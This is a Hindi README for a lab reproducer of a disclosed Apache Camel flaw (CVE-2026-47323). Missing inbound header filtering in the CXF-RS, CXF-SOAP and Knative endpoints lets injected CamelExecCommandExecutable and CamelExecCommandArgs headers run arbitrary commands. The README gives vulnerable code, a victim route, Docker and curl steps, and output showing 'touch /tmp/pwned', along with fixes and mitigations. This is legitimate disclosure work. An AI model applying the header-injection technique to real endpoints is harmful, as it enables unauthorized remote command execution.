
CVE-2026-47323 के लिए रिप्रोड्यूसर: Apache Camel CXF/Knative HeaderFilterStrategy में इनबाउंड फ़िल्टरिंग की कमी, CXF-RS/CXF-SOAP/Knative एंडपॉइंट्स के माध्यम से Camel कंट्रोल-हेडर इंजेक्शन (camel-exec के माध्यम से RCE) सक्षम करना (4.14.6/4.18.2/4.19.0 में ठीक किया गया)
यह प्रोजेक्ट Apache Camel के CXF और Knative HTTP हेडर-फ़िल्टर रणनीतियों में मैसेज-हेडर इंजेक्शन प्रदर्शित करता है, जिसे CVE-2026-47323 के रूप में ट्रैक किया गया है। CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) और KnativeHttpHeaderFilterStrategy (camel-knative-http) केवल आउटबाउंड Camel-आंतरिक हेडर को फ़िल्टर करते हैं (setOutFilterStartsWith), जबकि इनबाउंड फ़िल्टरिंग (setInFilterStartsWith) को नहीं कॉन्फ़िगर करते हैं। परिणामस्वरूप, एक अप्रमाणित हमलावर CXF-RS या CXF-SOAP एंडपॉइंट्स पर HTTP अनुरोधों के माध्यम से Camel-आंतरिक हेडर (जैसे CamelExecCommandExecutable, CamelFileName) इंजेक्ट कर सकता है। जब कोई रूट इन एंडपॉइंट्स से संदेशों को camel-exec या camel-file जैसे हेडर-संचालित घटकों को अग्रेषित करता है, तो इंजेक्ट किए गए हेडर कॉन्फ़िगर किए गए मानों को ओवरराइड कर देते हैं — जिससे या मनमाने फ़ाइल लेखन संभव होता है।
यह PoC CXF-RS (JAX-RS) सतह का उपयोग करता है: एक इंजेक्ट किया गया CamelExecCommandExecutable एक हानिरहित echo को मनमाने कमांड निष्पादन में बदल देता है।
| गुण | मान |
|---|---|
| घटक | camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| CWE | CWE-20: अनुचित इनपुट सत्यापन |
| प्रभाव | HTTP अनुरोध के माध्यम से Camel नियंत्रण हेडर इंजेक्ट करें → डाउनस्ट्रीम हेडर-संचालित प्रोड्यूसर को ओवरराइड करें → RCE (camel-exec) या मनमाने फ़ाइल लेखन (camel-file) |
| पूर्व शर्तें | एक CXF-RS / CXF-SOAP / Knative एंडपॉइंट जो हेडर-संचालित प्रोड्यूसर को अग्रेषित करता है; एंडपॉइंट के अप्रमाणित होने पर |
| प्रभावित संस्करण | 3.18.0 से 4.14.6 से पहले, 4.15.0 से 4.18.2 से पहले, 4.19.0 (4.19.0 में निर्धारित) |
| निर्धारित संस्करण | 4.14.6, 4.18.2, 4.19.0 |
| श्रेय | Quac Tran |
यह रिप्रोड्यूसर camel 4.18.1 पर पिन करता है — 4.18.x लाइन पर अंतिम प्रभावित रिलीज़ (फिक्स 4.18.2 में आया)। यही पैटर्न camel-undertow (CVE-2025-30177), व्यापक इनकमिंग-हेडर फ़िल्टर (CVE-2025-27636, CVE-2025-29891) और गैर-HTTP रणनीतियों (CVE-2026-40453) में भी है।
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)
// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
|| entry.getValue().isEmpty()) {
// dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
} else {
camelMessage.setHeader(entry.getKey(), entry.getValue().get(0)); // <-- injected header lands here
}
}
फिक्स (4.14.6 / 4.18.2 / 4.19.0) इन रणनीतियों में setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) जोड़ता है, जिससे इनबाउंड Camel* / camel* हेडर हटा दिए जाते हैं।
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
.to("exec:echo?args=hello") // the author's fixed, harmless command
.setBody(constant("ok\n"));
एक JAX-RS एंडपॉइंट (GET /service/api/ping) जिसके अनुरोध एक निश्चित शेल कमांड को सौंपे जाते हैं। camel-exec प्रोड्यूसर कॉन्फ़िगर किए गए echo के बजाय इनबाउंड CamelExecCommandExecutable हेडर को प्राथमिकता देता है।
CVE-2026-47323/
├── pom.xml # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── ApiResource.java # JAX-RS contract: GET /api/ping
│ ├── VictimRoute.java # cxfrs consumer -> exec:echo
│ └── ExploitController.java # attacker: GET /ping with injected CamelExec* headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned # created by the injected command
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
marker before: false
=== 1) Legitimate request (no injected headers) ===
response: ok
marker created: false
=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true
कोई भी रूट जो CXF-RS, CXF-SOAP या Knative-HTTP एंडपॉइंट से हेडर-संचालित प्रोड्यूसर को संदेश अग्रेषित करता है। CamelExecCommandExecutable (camel-exec के माध्यम से RCE) के अलावा, CamelFileName camel-file के माध्यम से मनमाने फ़ाइल लेखन की अनुमति देता है, और अन्य Camel* नियंत्रण हेडर अन्य प्रोड्यूसर को निर्देशित कर सकते हैं।
4.14.6 / 4.18.2 / 4.19.0 में अपग्रेड करें। प्रभावित रणनीतियाँ तब setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) कॉन्फ़िगर करेंगी, जिससे इनबाउंड Camel* हेडर हटा दिए जाएंगे।
अपग्रेड करने तक, किसी भी डाउनस्ट्रीम प्रोड्यूसर से पहले इनबाउंड संदेशों से Camel नियंत्रण हेडर को हटा दें (रूट की शुरुआत में .removeHeaders("Camel*") और .removeHeaders("camel*")), और CXF / Knative एंडपॉइंट पर प्रमाणीकरण आवश्यक करें।
यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए, सार्वजनिक रूप से प्रकट और निर्धारित भेद्यता के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना इसका उपयोग सिस्टम के विरुद्ध न करें।